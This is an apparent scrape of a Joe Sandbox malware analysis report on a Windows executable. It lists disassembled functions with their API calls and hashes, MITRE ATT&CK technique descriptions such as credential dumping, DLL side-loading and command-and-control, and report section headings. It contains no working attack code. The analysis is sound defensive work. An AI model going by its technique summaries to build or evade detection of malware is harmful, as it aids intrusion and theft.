Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: CriticalErrorInitializeLastSection
String ID: MZx
API String ID: 3413597225-2575928145
Opcode ID: d1113f74d4fba9ee5d6236a845aef2d59889dbd0fe460b91034755b27d05cc9f
Instruction ID: 75603bb915425724195c4e381c91635431c6980ecf31f651851578293324620b
Opcode Fuzzy Hash: d1113f74d4fba9ee5d6236a845aef2d59889dbd0fe460b91034755b27d05cc9f
Instruction Fuzzy Hash: 79F0B4B496C3854ED340DFB6BC0462636E8FBE5B45F54422EE804D7121E7F050C4BB51

Function 008C8670 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 008C867E
GetProcAddress.KERNEL32(00000000,GetHandleVerifier), ref: 008C868A

Strings

GetHandleVerifier, xrefs: 008C8684

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetHandleVerifier
API String ID: 1646373207-1090674830
Opcode ID: 382a18d6ceae63ead9f4be9b5252d5afd5bd2a8f67428f6630d4b61b1115b147
Instruction ID: 85beee2b3e70d1a86845735aa2f43dafee76bad41b57f598f98643ef407decfb
Opcode Fuzzy Hash: 382a18d6ceae63ead9f4be9b5252d5afd5bd2a8f67428f6630d4b61b1115b147
Instruction Fuzzy Hash: C5D017706A8304EBEE006B669D0DF32326CE71074AF404418F809D1090CF74C840AA20

Function 008584C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000002,?,00941D0E,00000002,GetInfoFromResources,0000016F), ref: 008584CA
FindResourceW.KERNEL32(00000000,00000002,BIN,?,00941D0E,00000002,GetInfoFromResources,0000016F), ref: 008584D7

Strings

BIN, xrefs: 008584D0

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: BIN
API String ID: 3537982541-1015027815
Opcode ID: b9d0b18dcd3e7804b2e6f93702c7886fa48bdb255e94d3fa891dc19bd5981c41
Instruction ID: cdb9404c1af79640b9d46b01209488ca201e093bf7f7d56c45002c551e10a41f
Opcode Fuzzy Hash: b9d0b18dcd3e7804b2e6f93702c7886fa48bdb255e94d3fa891dc19bd5981c41
Instruction Fuzzy Hash: 41C0122226532477C6003BE7EC0FFDB3A5C9B05A67F008011FA0CD1190D7A0945057E0

Function 008CC620 Relevance: 5.1, APIs: 4, Instructions: 96COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00000000,?,008CC615,?,?,?), ref: 008CC694
SetLastError.KERNEL32(00000000), ref: 008CC6C9
GetLastError.KERNEL32(?,00000000,00000000,?,008CC615,?,?,?), ref: 008CC6DC
SetLastError.KERNEL32(00000000), ref: 008CC715

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 61f1b2eb0634585ddcc17c80677a912628d559afa381d42d3421625459696242
Instruction ID: c6b6a0313cd1b0b4e9f5f814bffb060eeae713d204efbc4aca2315daa07b8426
Opcode Fuzzy Hash: 61f1b2eb0634585ddcc17c80677a912628d559afa381d42d3421625459696242
Instruction Fuzzy Hash: 0B3133B11006048FCB24EF29D98AB5AB7E6FB58324F24882DE59ED7611DB31F841CB52

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 0x001900000002ab40-59.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\2ae977f4-db12-4876-9e4d-fc8d1778842d[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\76561199619938930[1].htm

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
0x001900000002ab40-59.exe

Function 00873E30 Relevance: 17.4, APIs: 3, Strings: 6, Instructions: 1638
librarymemoryloaderCOMMON

Function 00873F80 Relevance: 15.5, APIs: 3, Strings: 5, Instructions: 1543
librarymemoryloaderCOMMON

Function 008E7610 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 405
COMMON

Function 008F87E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 80
libraryloaderCOMMON

Function 0594049B Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 399
threadCOMMON

Function 05940A5B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Function 008F5FB0 Relevance: 37.7, APIs: 30, Instructions: 173
sleepmemoryCOMMON

Function 008F6210 Relevance: 16.8, APIs: 9, Strings: 2, Instructions: 337
COMMON

Function 008F6310 Relevance: 11.6, APIs: 9, Instructions: 351
COMMON

Function 008F4FB0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94
COMMON

Function 05940BAB Relevance: 7.6, APIs: 5, Instructions: 100
threadprocessCOMMON

Function 059A1705 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Function 008F8780 Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Function 008F8860 Relevance: 3.0, APIs: 2, Instructions: 23
COMMON

Function 0091E06B Relevance: 2.6, APIs: 2, Instructions: 67
COMMONLIBRARYCODE